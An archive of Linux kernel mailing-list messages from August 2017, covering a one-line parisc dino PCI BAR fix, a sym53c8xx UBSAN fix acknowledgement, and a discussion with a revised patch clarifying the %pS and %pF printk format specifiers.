Subject: [PATCH] parisc: pci memory bar assignment fails with 64bit kernels on dino/cujo
Date: Sat, 12 Aug 2017 23:36:47 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20170812214418.DB60D50835D@solo.franken.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502574267 19292 195.159.176.226 (12 Aug 2017 21:44:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 21:44:27 +0000 (UTC)
To: jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 12 23:44:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dgeCj-0003Kf-Gq
	for glpp-linux-parisc@m.gmane.org; Sat, 12 Aug 2017 23:44:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751944AbdHLVo2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 12 Aug 2017 17:44:28 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:48046 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751567AbdHLVo1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 12 Aug 2017 17:44:27 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1dgeCu-0002eR-00; Sat, 12 Aug 2017 23:44:32 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id DB60D50835D; Sat, 12 Aug 2017 23:44:18 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27666 gmane.linux.kernel:2547388
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27666>

For 64bit kernels the lmmio_space_offset of the host bridge window
isn't set correctly on systems with dino/cujo PCI host bridges.
This leads to not assigned memory bars and failing drivers, which
need to use these bars.

Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
---
 drivers/parisc/dino.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 5c63b92..ed92c12 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -956,7 +956,7 @@ static int __init dino_probe(struct parisc_device *dev)
 
 	dino_dev->hba.dev = dev;
 	dino_dev->hba.base_addr = ioremap_nocache(hpa, 4096);
-	dino_dev->hba.lmmio_space_offset = 0;	/* CPU addrs == bus addrs */
+	dino_dev->hba.lmmio_space_offset = PCI_F_EXTEND;
 	spin_lock_init(&dino_dev->dinosaur_pen);
 	dino_dev->hba.iommu = ccio_get_iommu(dev);
 
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: pci memory bar assignment fails with 64bit
 kernels on dino/cujo
Date: Sun, 13 Aug 2017 09:56:26 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <49d641cb-78be-e1fc-9c72-c8deefee6177@gmx.de>
References: <20170812214418.DB60D50835D@solo.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502610990 10036 195.159.176.226 (13 Aug 2017 07:56:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 13 Aug 2017 07:56:30 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 13 09:56:26 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dgnl2-0002CG-33
	for glpp-linux-parisc@m.gmane.org; Sun, 13 Aug 2017 09:56:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750928AbdHMH4a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 13 Aug 2017 03:56:30 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:50999 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750922AbdHMH43 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 13 Aug 2017 03:56:29 -0400
Original-Received: from [192.168.20.60] ([193.159.24.67]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M82zV-1dLIrr2j4r-00vc9R; Sun, 13
 Aug 2017 09:56:26 +0200
In-Reply-To: <20170812214418.DB60D50835D@solo.franken.de>
Content-Language: en-US
X-Provags-ID: V03:K0:IupaF+Hdbr3T7pOLkeeYwYDmrew6p/wyhhN8FXfYgI+eYUV3QmF
 EHMg8I6HSV3TH5Ra08JP9GU3srEc77KPM/nuwx1AGVC/+wzqQ5M8HLkqqk8FTVGeuMnGXeA
 3cF3IazIOeIRA5DZQXDx19Xbup3l+16TapFUf9ysyQy3TRgQqER0oCd2IZlucaFKIRu+6uD
 WQz/IVzAzhzT7hEd5qbNg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:YTVtiT/GJv4=:h0SqsNCVesaLVk8R83CWvI
 MfDYu6R5IbxQAiob4/xEybKNsdRP5mOpYHlwUrfvR0eD/85LUMu7m+fezgx2L8cOLVgN/kBIS
 A3utc9cNwk2+PFGP+kbJ9/EJeQSZGZdalbOknlvwUdLSMJPFQ8a3CKSc6dBo0+NLl3nJwrXJt
 2JRbcY9DTG8KJb3e10NRxqlP7mJ2uWy+r3xxVLo4f9QylvpBllez58t9OjrdViikx3w6spdZE
 V+Cjr6hZQbWduF+8vcK/tLnjsl9pL4PuL3bgTLh9Z48N01GqcNlGR/hVRNri49GNA2yVGMX2r
 aG5lXaAPQ7lWTUfilZem3CDS7kdi63PLloAy0nRl8D9YxJqBmCf8bk437o+FE+xZgZMSvAZXA
 MobBHy6G2ukbvXFRaEo1S7aotZZ/PO8ch3KMgY+7ZBPS7ceWberAiDD10Vbt46Qp6XG1PHfhe
 cQm5CPJ1gQFcdNIptJETvwafUxRhWJsoSqrVdEysu6ldeCCsamDQluVl44f+UnerQ1OrYnO9z
 yjtpvY3daT8O7T1voQxLNLlkK7mLbaJ/gLJQk/hrZiSkGTYSMJItw42Lg81MnDlZRqgR5EBRR
 mLF8dtb74HSlWR58j1aOYdCOUc5zEAsvuyn67WrMozT+WA2TwMO8+1uH74FWwrrICPsVGXxlj
 uhIiB5LiOFd/CHn50on/l3P0+Fyjl+3EwkVJaD/xpd0rc6RBDgeCwMRxtrbVffON6NyOtmhnE
 74VMvLtQxY6PdO69+BWR2ALSGweTt+Vl3udp/IiShkgQ1Yo5cWwWBdoQ9AYI923Q2ShqTO80 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27667>

Hi Thomas,

On 12.08.2017 23:36, Thomas Bogendoerfer wrote:
> For 64bit kernels the lmmio_space_offset of the host bridge window
> isn't set correctly on systems with dino/cujo PCI host bridges.
> This leads to not assigned memory bars and failing drivers, which
> need to use these bars.
> 
> Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>

Acked-by: Helge Deller <deller@gmx.de>

Very good finding!
Does it mean that your mach64 card will then generally not being
able to work on a 32bit kernel (due to PCI resource shortage) ?

Now, if we find the issue why the FireGL cards don't work accelerated
on the C8000 it would be great.

Helge

> ---
>  drivers/parisc/dino.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
> index 5c63b92..ed92c12 100644
> --- a/drivers/parisc/dino.c
> +++ b/drivers/parisc/dino.c
> @@ -956,7 +956,7 @@ static int __init dino_probe(struct parisc_device *dev)
>  
>  	dino_dev->hba.dev = dev;
>  	dino_dev->hba.base_addr = ioremap_nocache(hpa, 4096);
> -	dino_dev->hba.lmmio_space_offset = 0;	/* CPU addrs == bus addrs */
> +	dino_dev->hba.lmmio_space_offset = PCI_F_EXTEND;
>  	spin_lock_init(&dino_dev->dinosaur_pen);
>  	dino_dev->hba.iommu = ccio_get_iommu(dev);
>  
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: pci memory bar assignment fails with 64bit
 kernels on dino/cujo
Date: Sun, 13 Aug 2017 18:21:59 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20170813162159.GA2779@alpha.franken.de>
References: <20170812214418.DB60D50835D@solo.franken.de>
 <49d641cb-78be-e1fc-9c72-c8deefee6177@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502641357 6428 195.159.176.226 (13 Aug 2017 16:22:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 13 Aug 2017 16:22:37 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 13 18:22:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dgvep-0001Nn-BT
	for glpp-linux-parisc@m.gmane.org; Sun, 13 Aug 2017 18:22:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751423AbdHMQWg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 13 Aug 2017 12:22:36 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:49493 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750996AbdHMQWg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 13 Aug 2017 12:22:36 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1dgvey-0004Cd-00; Sun, 13 Aug 2017 18:22:40 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 688E450835D; Sun, 13 Aug 2017 18:21:59 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49d641cb-78be-e1fc-9c72-c8deefee6177@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27668
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27668>

On Sun, Aug 13, 2017 at 09:56:26AM +0200, Helge Deller wrote:
> Does it mean that your mach64 card will then generally not being
> able to work on a 32bit kernel (due to PCI resource shortage) ?

no, it works 32bit on a B180, but I only tried 64bit kernel on the
C360.

> Now, if we find the issue why the FireGL cards don't work accelerated
> on the C8000 it would be great.

that's my final goal. My next step is to see whether I could get cards
working, which are supported by drivers/video/fbdev/aty/radeon*
This driver is known to work big endian, so I don't have to wonder
about endian issues in the first place...

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Martin K. Petersen" <martin.petersen@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi,gmane.linux.kernel
Subject: Re: [PATCH] sym53c8xx: Avoid undefined behaviour in drivers/scsi/sym53c8xx_2/sym_hipd.c:762
Date: Mon, 14 Aug 2017 23:07:20 -0400
Organization: Oracle Corporation
Lines: 19
Approved: news@gmane.org
Message-ID: <yq1d17xwmtz.fsf@oracle.com>
References: <20170810190849.GA12659@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1502766453 25800 195.159.176.226 (15 Aug 2017 03:07:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 03:07:33 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.2 (gnu/linux)
Cc: linux-scsi@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 15 05:07:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dhSCS-00007e-UX
	for glpp-linux-parisc@m.gmane.org; Tue, 15 Aug 2017 05:07:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752960AbdHODHb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Aug 2017 23:07:31 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:37330 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752718AbdHODHa (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Aug 2017 23:07:30 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v7F37NQW006224
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Tue, 15 Aug 2017 03:07:24 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v7F37NjL021582
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Tue, 15 Aug 2017 03:07:23 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v7F37NNF025162;
        Tue, 15 Aug 2017 03:07:23 GMT
Original-Received: from ca-mkp.ca.oracle.com (/10.159.214.123)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 14 Aug 2017 20:07:22 -0700
In-Reply-To: <20170810190849.GA12659@p100.box> (Helge Deller's message of
        "Thu, 10 Aug 2017 21:08:49 +0200")
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27669 gmane.linux.scsi:129084 gmane.linux.kernel:2548869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27669>


Helge,

> On parisc I see this UBSAN warning with a sym53c896:
>
>  UBSAN: Undefined behaviour in ./drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
>  index -1903078336 is out of range for type 'u32 [7]'
>
> Avoid this warning by switching to dev64_ul().

Applied to 4.14/scsi-queue. Thank you, Helge!

-- 
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Tue, 15 Aug 2017 13:36:25 +0200
Lines: 146
Approved: news@gmane.org
Message-ID: <20170815113625.GA2738@pathway.suse.cz>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502796991 5172 195.159.176.226 (15 Aug 2017 11:36:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 11:36:31 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 15 13:36:27 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dha93-0000yE-Lk
	for glk-linux-kernel-3@m.gmane.org; Tue, 15 Aug 2017 13:36:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752615AbdHOLg3 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 15 Aug 2017 07:36:29 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:49135 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1752581AbdHOLg2 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 15 Aug 2017 07:36:28 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 6C806AD1F;
        Tue, 15 Aug 2017 11:36:26 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2549183 gmane.linux.ports.parisc:27670
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2549183>

On Fri 2017-08-11 09:31:28, Helge Deller wrote:
> On 11.08.2017 02:15, Sergey Senozhatsky wrote:
> > On (08/10/17 19:35), Helge Deller wrote:
> >> Sometimes people seems unclear when to use the %pS or %pF printk format.
> >> Adding some examples may help to avoid such mistakes.
> >>
> >> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
> >> parisc") which fixed such a wrong format string.
> >>
> >> Signed-off-by: Helge Deller <deller@gmx.de>
> >>
> >> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> >> index 65ea591..be8c05b 100644
> >> --- a/Documentation/printk-formats.txt
> >> +++ b/Documentation/printk-formats.txt
> >> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
> >>  ``f`` specifiers perform this resolution and then provide the same
> >>  functionality as the ``S`` and ``s`` specifiers.
> >>  
> >> +Examples::
> >> +
> >> +	printk("Called from %pS.\n", __builtin_return_address(0));
> >> +	printk("Called from %pS.\n", (void *)regs->ip);
> >> +	printk("Called from %pF.\n", &gettimeofday);
> > 
> > there is this paragraph
> > 
> > : On ia64, ppc64 and parisc64 architectures function pointers are
> > : actually function descriptors which must first be resolved. The ``F`` and
> > : ``f`` specifiers perform this resolution and then provide the same
> > : functionality as the ``S`` and ``s`` specifiers.
> > 
> > which supposed to explain everything in details. the examples
> > don't make it any `clearer', IMHO.
> 
> Experts surely do know what function descriptors are.
> Nevertheless even those often get it wrong as can be seen in
> various commits.

It seems that these specifiers are used the wrong way on many
locations. They might be worth fixing but I cannot test it
easily.

Hmm, using %pF might actually cause a crash when used
on direct function address.


> The hope with this patch is to show widely-used examples
> and avoid additional commits afterwards to fix it up.

IMHO, one problem is that the meaning of ''F'' and ''f''
is hidden at the end of the section. Also the first line

  'For printing symbols and function pointers. The ``S`` and ``s`` '

kind of invites to use ``S`` and ``s`` even for function pointers.
I suggest to switch the order, slightly retranslate, add the
examples, see below.


> This patch was meant to be RFC.
> If you decide not to take it, I'm fine as well.
> 
> > *may be* on "ia64, ppc64 and parisc64" we can somehow check
> > that the pointer, which we pass as %pS, belongs to .text and
> > print some build-time warnings. well, if it's actually a
> > problem. dunno.

I think that it would need to be a runtime check because many/most
printed addresses are not statically defined.


> I think it's not needed. Those bugs will be seen and fixed.

I am not sure how many people are familiar with this problem.
I might help to avoid some headaches when debugging.

If we add the warning, it should be ratelimited to reduce messing
of the original message.

I do not have strong opinion about it.


Here is the updated patch with my proposed changes.
Feel free to update it:


>From ef983c65095cada994c1fe531e2b98e936c943bf Mon Sep 17 00:00:00 2001
From: Helge Deller <deller@gmx.de>
Date: Tue, 15 Aug 2017 11:34:19 +0200
Subject: [PATCH] printk-formats.txt: Better describe the difference between
 %pS and %pF

Sometimes people seems unclear when to use the %pS or %pF printk format.
For example, see commit 51d96dc2e2dc ("random: fix warning message on ia64
and parisc") which fixed such a wrong format string.

The documentation should be more clear about the difference.

Signed-off-by: Helge Deller <deller@gmx.de>
[pmladek@suse.com: Restructure the entire section]
Signed-off-by: Petr Mladek <pmladek@suse.com>
---
 Documentation/printk-formats.txt | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 65ea5915178b..074670b98bac 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -58,20 +58,23 @@ Symbols/Function Pointers
 	%ps	versatile_init
 	%pB	prev_fn_of_versatile_init+0x88/0x88
 
-For printing symbols and function pointers. The ``S`` and ``s`` specifiers
-result in the symbol name with (``S``) or without (``s``) offsets. Where
-this is used on a kernel without KALLSYMS - the symbol address is
-printed instead.
+The ``F`` and ``f`` specifiers are for printing function pointers,
+for example, f->func, &gettimeofday. They have the same result as
+``S`` and ``s`` specifiers. But they do an extra conversion on
+ia64, ppc64 and parisc64 architectures where the function pointers
+are actually function descriptors.
+
+The ``S`` and ``s`` specifiers can be used for printing symbols
+from direct addresses, for example, __builtin_return_address(0),
+(void *)regs->ip. They result in the symbol name with (``S``) or
+without (``s``) offsets. If KALLSYMS are disabled then the symbol
+address is printed instead.
 
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
 when tail-call``s are used and marked with the noreturn GCC attribute.
 
-On ia64, ppc64 and parisc64 architectures function pointers are
-actually function descriptors which must first be resolved. The ``F`` and
-``f`` specifiers perform this resolution and then provide the same
-functionality as the ``S`` and ``s`` specifiers.
 
 Kernel Pointers
 ===============
-- 
1.8.5.6



From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Tue, 15 Aug 2017 08:46:54 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20170815084654.20fc23c0@gandalf.local.home>
References: <20170810173533.GA11600@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502801219 24772 195.159.176.226 (15 Aug 2017 12:46:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 15 Aug 2017 12:46:59 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 15 14:46:54 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dhbFE-0005xy-8A
	for glpp-linux-parisc@m.gmane.org; Tue, 15 Aug 2017 14:46:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751468AbdHOMq6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 15 Aug 2017 08:46:58 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:52596 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751196AbdHOMq6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 15 Aug 2017 08:46:58 -0400
Original-Received: from gandalf.local.home (cpe-67-246-153-56.stny.res.rr.com [67.246.153.56])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 1EA3122C90;
        Tue, 15 Aug 2017 12:46:57 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 1EA3122C90
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=goodmis.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=rostedt@goodmis.org
In-Reply-To: <20170810173533.GA11600@ls3530.fritz.box>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27671 gmane.linux.kernel:2549233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27671>

On Thu, 10 Aug 2017 19:35:33 +0200
Helge Deller <deller@gmx.de> wrote:

> Sometimes people seems unclear when to use the %pS or %pF printk format.
> Adding some examples may help to avoid such mistakes.
> 
> See for example commit 51d96dc2e2dc ("random: fix warning message on ia64 and
> parisc") which fixed such a wrong format string.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> index 65ea591..be8c05b 100644
> --- a/Documentation/printk-formats.txt
> +++ b/Documentation/printk-formats.txt
> @@ -73,6 +73,12 @@ actually function descriptors which must first be resolved. The ``F`` and
>  ``f`` specifiers perform this resolution and then provide the same
>  functionality as the ``S`` and ``s`` specifiers.
>  
> +Examples::
> +
> +	printk("Called from %pS.\n", __builtin_return_address(0));
> +	printk("Called from %pS.\n", (void *)regs->ip);
> +	printk("Called from %pF.\n", &gettimeofday);

Is the '&' really necessary? What about using the example:

	printk("Called in %pF.\n", __func__);

?

-- Steve

> +
>  Kernel Pointers
>  ===============
>  

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
